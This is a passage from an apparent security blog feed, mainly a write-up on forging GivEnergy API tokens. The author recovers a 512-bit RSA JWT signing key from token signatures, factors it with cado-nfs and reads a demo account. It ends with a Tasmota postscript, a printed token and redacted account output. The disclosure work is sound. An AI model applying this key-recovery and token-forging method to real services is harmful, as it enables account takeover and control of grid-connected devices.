class="linenos">&nbsp;</td><td> <code> ca:90:ac:19:70:07:d6:7c:25:f9:6c:e8:a9:29:07:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> a3:12:dd:67:e1:b1:93:62:00:6b:cd:37:30:63:8a:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 99:17:48:dc:dd:8d:a7:c9:b3:eb:7c:b9:1f:43:f3:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 74:01</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> Exponent:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 01:00:01:c9:4b:58:d1:e7:1a:ce:4b:a7:b9:63:f7:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 15:52:ef:0f:e8:21:cb:96:35:93:e3:d7:9b:6e:6d:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 6f:91:93:0e:7e:f9:5b:1c:9b:2d:45:d7:eb:01:18:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 3b:26:c8:ee:8d:93:49:ba:1a:ec:92:c6:7c:ef:14:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 41:11:34:4a:36:e7:7e:94:6e:95:14:4e:87:63:cd:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 76:8e:c1:a9:8f:50:c2:9e:95:83:e9:97:a5:4b:d1:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> c5:d4:af:fe:af:34:8d:f4:2b:39:b5:41:8f:e7:dd:</code> </td></tr><tr><td class="linenos">&nbsp;</td><td> <code> 76:9a:4d:81:e2:c2:2f</code> </td></tr></tbody></table></div> <p>The factors are 13, 1,091, 15,032,926,429, and a 340 digit prime that doesn&rsquo;t need to be printed here.</p> <p><em>Postscript</em></p> <p>I ended up submitting a patch to Tasmota that did an in-place upgrade of the fingerprint while maintaining backwards compatibility and still mitigating the attack. Details can be found in Tasmota&rsquo;s issue tracker: <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Farendst%2FTasmota%2Fissues%2F10571">https://github.com/arendst/Tasmota/issues/10571</a></p> Hacking a Virtual Power Plant2024-08-07T21:53:00+01:002024-08-07T21:53:00+01:00ryanctag:rya.nc,2024-08-07:/vpp-hack.html<!-- included from `include/globals.rst` --> <p>I recently had solar panels and a battery storage system from <a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2F">GivEnergy</a> installed at my house. A major selling point for me was that they have a local network API which can be used to monitor and control everything without relying on their cloud services. My plan is to set up <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.home-assistant.io%2F">Home Assistant</a> and integrate it with that, but in the meantime, I decided to let it talk to the cloud. I set up some scheduled charging, then started experimenting with the API.</p> <p>The next evening, I had control over a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FVirtual_power_plant">virtual power plant</a> comprised of tens of thousands of grid connected batteries.</p> <!-- included from `include/globals.rst` --> <p>I recently had solar panels and a battery storage system from <a class="external" href="proxy.php?url=https%3A%2F%2Fgivenergy.co.uk%2F">GivEnergy</a> installed at my house. A major selling point for me was that they have a local network API which can be used to monitor and control everything without relying on their cloud services. My plan is to set up <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.home-assistant.io%2F">Home Assistant</a> and integrate it with that, but in the meantime, I decided to let it talk to the cloud. I set up some scheduled charging, then started experimenting with the API.</p> <p>The next evening, I had control over a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FVirtual_power_plant">virtual power plant</a> comprised of tens of thousands of grid connected batteries.</p> <div class="section" id="trying-out-the-api"> <h2><a href="#trying-out-the-api" rel="bookmark">Trying Out the API</a></h2> <p>When I went to generate an API token, I was pleasantly surprised to find options for expiration time and fine-grained control over permissions. I clicked &ldquo;generate&rdquo;, and got:</p> <div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td> <code>eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.&lt;wbr&gt;eyJhdWQiOiJjMWI4NWFmYS1lMzIyLTQ3NTAtYTQyMi01NDQxYjNkNjgzYzIiLCJqdGkiOiJhZDI5ZTViNDM3OTBkNmZhY2Q2YWRjOGUxMjE0YjI0YzcwYTZhMWE3YzJmZDc5YzRhODBjMmVjNzU4YmViMDNhOGM2ZTE4MWFlMTk3YmU5NyIsImlhdCI6MTcyMDM3ODAxMi4wMjg4NTgsIm5iZiI6MTcyMDM3ODAxMi4wMjg4NjEsImV4cCI6MTcyMDk4MjgxMi4wMTg5NzIsInN1YiI6IjMxMzM3Iiwic2NvcGVzIjpbImFwaSJdfQ.&lt;wbr&gt;Q8UVWQ__jNd11u6tonBnu75idIwam9vrLXObdkD3R0ynXK30tBW-&lt;wbr&gt;9MwujEC-&lt;wbr&gt;NQZFNLuE9riMGrP30VPSFGhTlw</code> </td></tr></tbody></table></div> <p>From the <code>eyJ</code> prefix, I recognized a base64 encoded JSON object. Upon closer inspection, it turned out to be two JSON objects and some binary data, separated by periods:</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssp"&gt;{&lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;typ&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;JWT&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;alg&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;RS256&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;}&lt;/span&gt;</code> </td></tr></tbody></table></div> <div class="breakall highlight"><table class="breakall highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssp"&gt;{&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;aud"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcsss2"&gt;"&lt;wbr&gt;c1b85afa-&lt;wbr&gt;e322-&lt;wbr&gt;4750-&lt;wbr&gt;a422-&lt;wbr&gt;5441b3d683c2"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;jti"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcsss2"&gt;"&lt;wbr&gt;ad29e5b43790d6facd6adc8e1214b24c70a6a1a7c2fd79c4a80c2ec758beb03a8c6e181ae197be97"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;iat"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssmf"&gt;1720378012.&lt;wbr&gt;028858&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;nbf"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssmf"&gt;1720378012.&lt;wbr&gt;028861&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;exp"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssmf"&gt;1720982812.&lt;wbr&gt;018972&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;sub"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcsss2"&gt;"&lt;wbr&gt;31337"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssnt"&gt;"&lt;wbr&gt;scopes"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;wbr&gt;[&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcsss2"&gt;"&lt;wbr&gt;api"&lt;wbr&gt;&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;wbr&gt;}&lt;wbr&gt;&lt;/span&gt;</code> </td></tr></tbody></table></div> <div class="highlight"><table class="highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssnl"&gt;00000000&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;43&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;c5&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;15&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;59&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;0f&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;be&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;8c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;d7&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;75&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;d6&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;ee&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;ad&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;a2&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;70&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;67&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;bb&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;&lt;span class="pgcsss"&gt;C..Y....u....pg.&lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssnl"&gt;00000010&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;be&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;62&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;74&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;8c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;1a&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;9b&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;db&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;eb&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;2d&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;73&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;9b&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;76&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;40&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;f7&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;47&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;4c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;&lt;span class="pgcsss"&gt;[email protected]&lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssnl"&gt;00000020&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;a7&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;5c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;ad&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;f4&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;b4&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;15&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;bf&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;f4&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;cc&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;2e&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;8c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;40&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;bf&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;35&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;06&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;45&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;&lt;span class="pgcsss"&gt;.\[email protected]&lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssnl"&gt;00000030&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;34&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;bb&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;84&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;f6&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;b8&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;8c&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;1a&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;b3&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;f7&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;d1&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;53&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;d2&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;14&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;68&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;53&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmh"&gt;97&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;&lt;span class="pgcsss"&gt;4.........S..hS.&lt;/span&gt;&lt;span class="pgcssp"&gt;|&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>More precisely, a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FJSON_Web_Token">JSON Web Token</a> (JWT) signed with an RSA+SHA-256.</p> <p>In the past, some JWT implementations allowed verification to be bypassed by changing the algorithm to &ldquo;none&rdquo;, so I tried that. It didn&rsquo;t work, which was a relief. That signature though... 64 bytes? At eight bits per byte that&rsquo;s 512 bits. But that would mean an easily crackable 512 bit RSA key. I hoped this wasn&rsquo;t as bad as it seemed. Perhaps each account had a different key?</p> </div> <div class="section" id="signing-like-its-1999"> <h2><a href="#signing-like-its-1999" rel="bookmark">Signing Like It&rsquo;s 1999</a></h2> <p>The first publicly known <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.iacr.org%2Farchive%2Feurocrypt2000%2F1807%2F18070001-new.pdf">factorization of a 512 bit RSA modulus</a> was completed in August of 1999.</p> <blockquote> <p>[W]e estimate that within three years the algorithmic and computer technology which we used to factor RSA&ndash;155 will be widespread [&hellip;]. This makes these keys useless for authentication or for the protection of data required to be secure for a period longer than a few days.</p> <p class="attribution">&mdash;Cavallar et al.</p> </blockquote> <p>In 2009, several 512 bit RSA signing keys for Texas Instruments graphing calculators were <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.theregister.com%2F2009%2F09%2F23%2Ftexas_instruments_calculator_hacking%2F">cracked by hobbyists</a>. The point was further driven home in 2015 by the <a class="external" href="proxy.php?url=https%3A%2F%2Farstechnica.com%2Finformation-technology%2F2015%2F10%2Fbreaking-512-bit-rsa-with-amazon-ec2-is-a-cinch-so-why-all-the-weak-keys%2F">factoring as a service</a> paper:</p> <blockquote> <p>In this paper, we present an improved implementation which is able to factor a 512-bit RSA key on Amazon EC2 in as little as four hours for $75.</p> <p class="attribution">&mdash;<a class="external" href="proxy.php?url=https%3A%2F%2Feprint.iacr.org%2F2015%2F1000.pdf">Valenta et al.</a></p> </blockquote> <p>Despite this, many modern cryptography libraries still support using and even creating the these keys almost a decade later.</p> </div> <div class="section" id="recovering-the-modulus"> <h2><a href="#recovering-the-modulus" rel="bookmark">Recovering the Modulus</a></h2> <p>With the factors of the JWT private signing key, I could reconstruct the rest of the parameters and produce modified API tokens that should be accepted as valid. I&rsquo;d factored eBay&rsquo;s 512 bit <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDomainKeys_Identified_Mail">DKIM</a> key in April of 2012, so I had a pretty good idea of what to do. The problem was, I had nothing to factor. Just some signed data. Maybe I could use that to get what I needed?</p> <p><i>Skip the rest of this section if you&rsquo;re not interested in the math.</i></p> <p>RSA needs three values to work, the modulus <span class="formula"><i>n</i></span>, the private exponent <span class="formula"><i>d</i></span>, and the public exponent <span class="formula"><i>e</i></span>. An RSA signature is computed as <span class="formula"><i>s</i> = <i>m</i><sup><i>d</i></sup>&nbsp;<span class="text">mod</span>&nbsp;<i>n</i></span> &mdash; message <span class="formula"><i>m</i></span> is raised to the power of <span class="formula"><i>d</i></span> modulo <span class="formula"><i>n</i></span>. It&rsquo;s validated by checking that <span class="formula"><i>s</i><sup><i>e</i></sup>&nbsp;<span class="text">mod</span>&nbsp;<i>n</i> &equiv; <i>m</i></span>. With the prime factors of <span class="formula"><i>n</i></span>, it&rsquo;s trivial to calculate <span class="formula"><i>d</i></span>, and for a 512 bit key finding the prime factors is doable, but I didn&rsquo;t have <span class="formula"><i>n</i></span> or <span class="formula"><i>e</i></span>. By convention, <span class="formula"><i>e</i></span> is nearly always 65537, but I had no idea what <span class="formula"><i>n</i></span> was. I do, however, know algebra.</p> <p>Subtracting <span class="formula"><i>m</i></span> from both sides of the signature verification equation gives <span class="formula"><i>s</i><sup><i>e</i></sup>&nbsp;<span class="text">mod</span>&nbsp;<i>n</i> &minus; <i>m</i> &equiv; 0</span>. Since modular subtraction is associative, that also means that <span class="formula"><i>s</i><sup><i>e</i></sup> &minus; <i>m</i>&nbsp;<span class="text">mod</span>&nbsp;<i>n</i> &equiv; 0</span>. The modulo operation finds the remainder, so <span class="formula"><i>s</i><sup><i>e</i></sup> &minus; <i>m</i></span> is an integer multiple of <span class="formula"><i>n</i></span>. This is not useful on its own, but it means that with another message and signature, I&rsquo;d have two different integer multiples of <span class="formula"><i>n</i></span>. Running those through a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGreatest_common_divisor">GCD</a> algorithm would give me <span class="formula"><i>n</i> &times; <i>x</i></span> where <span class="formula"><i>x</i></span> is a small integer, easily factored out by trial division.</p> </div> <div class="section" id="this-isnt-textbook-rsa"> <h2><a href="#this-isnt-textbook-rsa" rel="bookmark">This Isn&rsquo;t Textbook RSA</a></h2> <p>The math above only covers &ldquo;<a class="external" href="proxy.php?url=https%3A%2F%2Fcrypto.stackexchange.com%2Fa%2F1449%2F">Textbook RSA</a>&rdquo; operating on raw numbers, which has a number of problems in practice. It can only operate on numbers smaller than the key&rsquo;s modulus. The numbers also can&rsquo;t be too small, otherwise various attacks are possible. To address this, the message is hashed and padded using <a class="external" href="proxy.php?url=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2437%23section-9.2.1">PKCS #1 v1.5 encoding</a> before being signed. Not wanting to deal with the encoding, I went looking for a pre-existing tool. After a few false starts, I found <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2FFlorianPicca%2FJWT-Key-Recovery">JWT-Key-Recovery</a>, which quickly provided the modulus.</p> </div> <div class="section" id="cracking-the-key"> <h2><a href="#cracking-the-key" rel="bookmark">Cracking the Key</a></h2> <p>The modulus is generated by picking large prime numbers, usually denoted <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>, and multiplying them together. If you want more detail, please see my previous post, <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html%23a-quick-review-of-rsa-keys">Artisnal RSA</a>. The most efficient known algorithm for factoring the modulus back into primes is called <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGeneral_number_field_sieve">general number field sieve</a> (GNFS). This wasn&rsquo;t my first time cracking an RSA key, but it&rsquo;d been a while, so I found <a class="external" href="proxy.php?url=https%3A%2F%2Fy5c4l3.net%2F2023%2F08%2F19%2Frecovering-rsa-key-pair-with-cado-nfs%2F%23recover-key-pair">some instructions</a>. I started <code>cado-nfs</code> on my workstation and let it run overnight. By the time I got done with work the next day, I was feeling impatient and rented a few hundred CPU cores to make it go faster. A few hours and a $70 compute bill later, I had the two prime numbers I needed.</p> </div> <div class="section" id="exploiting-the-vulnerability"> <h2><a href="#exploiting-the-vulnerability" rel="bookmark">Exploiting the Vulnerability</a></h2> <p>I used <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa.html%23mprsa-py">my own tool</a> to generate the private key, made a trivial change to my API token, signed it, and made a request. It worked. I still wasn&rsquo;t sure whether the key was specific to my account, so I needed another to try.</p> <p>The easy way would have been to just try a random account id, but that would expose that customer&rsquo;s personal information, which would be a bit rude to say the least. Poking around a bit, I noticed &ldquo;View Demo Dashboard&rdquo; on the login page. That&rsquo;d do. A few minutes of fiddling with developer tools and I had the account id.</p> <p>Changing the API token, I requested &ldquo;my&rdquo; account details:</p> <div class="highlight"><table class="highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssp"&gt;{&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;address&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Unit C4 Fenton Trade Park&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;country&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;UNITED_KINGDOM&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;email&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;████@givenergy.co.uk&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;first_name&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Demo&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssmi"&gt;8533&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;DemoAccount20&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;postcode&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;ST4 2TE&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;VIEWER&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;standard_timezone&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;Europe/London&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;surname&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;User&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcssnt"&gt;&amp;quot;telephone_number&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss2"&gt;&amp;quot;███████████&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt;</code> 